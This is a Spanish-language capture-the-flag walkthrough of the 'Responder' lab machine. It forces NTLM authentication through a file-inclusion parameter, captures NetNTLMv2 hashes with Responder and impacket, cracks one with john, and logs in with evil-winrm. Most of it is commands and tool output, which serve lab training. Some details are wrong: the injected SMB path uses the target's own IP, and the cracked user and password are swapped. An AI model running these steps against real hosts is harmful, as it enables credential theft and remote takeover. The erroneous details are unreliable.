Responder
Dificultad: Very Easy - OS: Windows
Enumeración de puertos/servicios
┌──(dante㉿kali)-[/home/kali]
└─# nmap -sCV --open -T4 -v -n 10.129.184.235
Resultados:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
En síntesis:
Puerto | Estado | Servicio | Protocolo
80/tcp | Open | HTTP | Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp | Open | HTTP | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Inspección del puerto 80: encontramos un dominio, pero no podemos ver su contenido y esto se debe a un problema con el Virtual hosts

Para resolver este problema tenemos que asociar la IP con el dominio en el archivo /etc/hosts de la siguiente manera:
┌──(dante㉿kali)-[/home/kali]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(dante㉿kali)-[/home/kali]
└─# echo "10.129.184.235 unika.htb" >> /etc/hosts
┌──(dante㉿kali)-[/home/kali]
└─# cat hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.184.235 unika.htb
Ahora si podemos ver el sitio web
Inspeccionando la página web, identificaremos un posible punto de ataque para probar una vulnerabilidad de Local File Inclusion (LFI) mediante Path Traversal en la URL. Al cambiar el idioma del sitio, observamos la siguiente estructura en la dirección: http://unika.htb/index.php?page=french.html Esta URL podría ser vulnerable a LFI debido a la manera en que el servidor maneja el parámetro page.
Una forma de automatizar un ataque de tipo LFI es usando wfuzz de la siguiente manera:
┌──(dante㉿kali)-[/home/kali/Desktop]
└─# wfuzz -w /usr/share/wordlists/seclists/Fuzzing/LFI/file_inclusion_windows.txt -u http://unika.htb/index.php?page=FUZZ --hc 404,403 --hl=0
SMB Relay via RFI o Forced SMB Authentication
Pero para este caso no nos sirve de mucho, lo que nosotros tenemos que capturar o interceptar es el hash NTLM, o challenge-response, del cliente Windows, pero antes aclaremos algunos conceptos en el siguiente link:
Paso a paso del ataque:
Explotación de RFI:
Se inyecta una ruta SMB en el parámetro vulnerable de la web objetivo, por ejemplo:
http://unika.htb/index.php?page=\\10.129.184.235\share
Esto hace que el servidor web intente cargar un archivo remoto desde
\\10.129.184.235\share
Autenticación automática de Windows:
Windows intenta autenticarse en el recurso compartido SMB.
Dependiendo de la configuración, usa NetNTLMv2 para autenticarse automáticamente.
Interceptación del hash con Responder o Impacket-smbserver:
Si
Responder
está en escucha (responder -I tun0 -v
), capturará la autenticación NTLM.Si se usa
impacket-smbserver
, se simula un servidor SMB para que la víctima intenté autenticarse.
Cracking del hash:
Se extrae el NetNTLMv2 y se usa
john
ohashcat
para intentar recuperar la contraseña en texto claro.
Lo primero que vamos a hacer es , usar el parámetro 'page=' para, mediante RFI, enviar una solicitud de conexión desde el servidor web al Responder que estará en escucha desde nuestro equipo atacante:
http://unika.htb/index.php?page=\\10.129.184.235\share
┌──(dante㉿kali)-[/home/kali]
└─# responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.69]
Responder IPv6 [dead:beef:2::1043]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-M0WFO5WGUQK]
Responder Domain Name [GC98.LOCAL]
Responder DCE-RPC Port [48660]
[+] Listening for events...
[!] Error starting TCP server on port 53, check permissions or other servers running.
[SMB] NTLMv2-SSP Client : 10.129.184.235
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:3b593c59578885b8:7036FAE38875EEE5B
8DFF30869FE298B:0101000000000000007DBC19969DDB0135D1AE54171CF1E800000000020008004700430
03900380001001E00570049004E002D004D003000570046004F00350057004700550051004B000400340057
0049004E002D004D003000570046004F00350057004700550051004B002E0047004300390038002E004C004
F00430041004C000300140047004300390038002E004C004F00430041004C00050014004700430039003800
2E004C004F00430041004C0007000800007DBC19969DDB01060004000200000008003000300000000000000
00100000000200000D316FFD9A92EB68A36F1BE69861895C9FE612C588FF2CF9D1723378DF0225CE90A0010
00000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E003
10034002E00360039000000000000000000
Otra tool alternativa que podemos aplicar para levantar un servidor SMB falso es Impacket-smbserver, de la suite de impacket:
┌──(dante㉿kali)-[/home/kali]
└─# impacket-smbserver -smb2support share ./
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.184.235,54460)
[*] AUTHENTICATE_MESSAGE (RESPONDER\Administrator,RESPONDER)
[*] User RESPONDER\Administrator authenticated successfully
[*] Administrator::RESPONDER:aaaaaaaaaaaaaaaa:6803743533fcf8ab0aff31fc9a888ca8:010100000
000000000778a05ba9ddb012db679ef7da98c7b00000000010010006c006f004500690067005a00660077000
30010006c006f004500690067005a006600770002001000460055004700540049004c004b005a00040010004
60055004700540049004c004b005a000700080000778a05ba9ddb01060004000200000008003000300000000
00000000100000000200000d316ffd9a92eb68a36f1be69861895c9fe612c588ff2cf9d1723378df0225ce90
a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002
e00310034002e00360039000000000000000000
[*] Connecting Share(1:IPC$)
[-] SMB2_TREE_CONNECT not found SOMEFILE
[-] SMB2_TREE_CONNECT not found SOMEFILE
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.129.184.235,54460)
[*] Remaining connections []
Guardamos el hash:
┌──(dante㉿kali)-[/home/kali/Desktop]
└─# echo "Administrator::RESPONDER:aaaaaaaaaaaaaaaa:6803743533fcf8ab0aff31fc9a888ca8:01010
0000000000000778a05ba9ddb012db679ef7da98c7b00000000010010006c006f004500690067005a006600770
0030010006c006f004500690067005a006600770002001000460055004700540049004c004b005a00040010004
60055004700540049004c004b005a000700080000778a05ba9ddb0106000400020000000800300030000000000
000000100000000200000d316ffd9a92eb68a36f1be69861895c9fe612c588ff2cf9d1723378df0225ce90a001
000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310
034002e00360039000000000000000000" > hash.txt
Hash cracking con John
Crackeamos el hash con john the ripper:
┌──(dante㉿kali)-[/home/kali/Desktop]
└─# john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
User: badminton Password: Administrator
1g 0:00:00:00 DONE (2025-03-25 15:22) 50.00g/s 204800p/s 204800c/s 204800C/s adriano..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
RCE con EvilWinRM
Ahora que tenemos un usuario y sus credenciales podemos conectarnos al puerto 5985 de WinRM con la tool evil-winrm
┌──(root㉿kali)-[/home/kali/Desktop]
└─# evil-winrm -i 10.129.184.235 -u Administrator -p badminton
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users
*Evil-WinRM* PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/9/2022 5:35 PM Administrator
d----- 3/9/2022 5:33 PM mike
d-r--- 10/10/2020 12:37 PM Public
*Evil-WinRM* PS C:\Users> cd mike
*Evil-WinRM* PS C:\Users\mike> ls
Directory: C:\Users\mike
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/10/2022 4:51 AM Desktop
*Evil-WinRM* PS C:\Users\mike> cd Desktop
*Evil-WinRM* PS C:\Users\mike\Desktop> ls
Directory: C:\Users\mike\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2022 4:50 AM 32 flag.txt
*Evil-WinRM* PS C:\Users\mike\Desktop> cat flag.txt
ea81b7afddd03efaa0945333ed147fac
Conclusión:
Este ataque es extremadamente efectivo porque:
Windows intenta autenticarse automáticamente en servidores SMB.
Las credenciales capturadas pueden usarse para comprometer la red.
Es un método común para escalar privilegios en entornos Windows.
Si el puerto 5985 (WinRM) está abierto, lo más probable es que la máquina use autenticación NTLM
Resumen final:
✔ NetNTLMv2 es un protocolo de autenticación basado en challenge-response.
✔ Responder captura NetNTLMv2 interceptando autenticaciones SMB automáticas.
✔ WinRM permite ejecutar comandos remotos y es usado en pentesting con Evil-WinRM.
✔ Una vulnerabilidad RFI puede forzar autenticaciones SMB, permitiendo capturar hashes NTLM con Responder o Impacket.
Last updated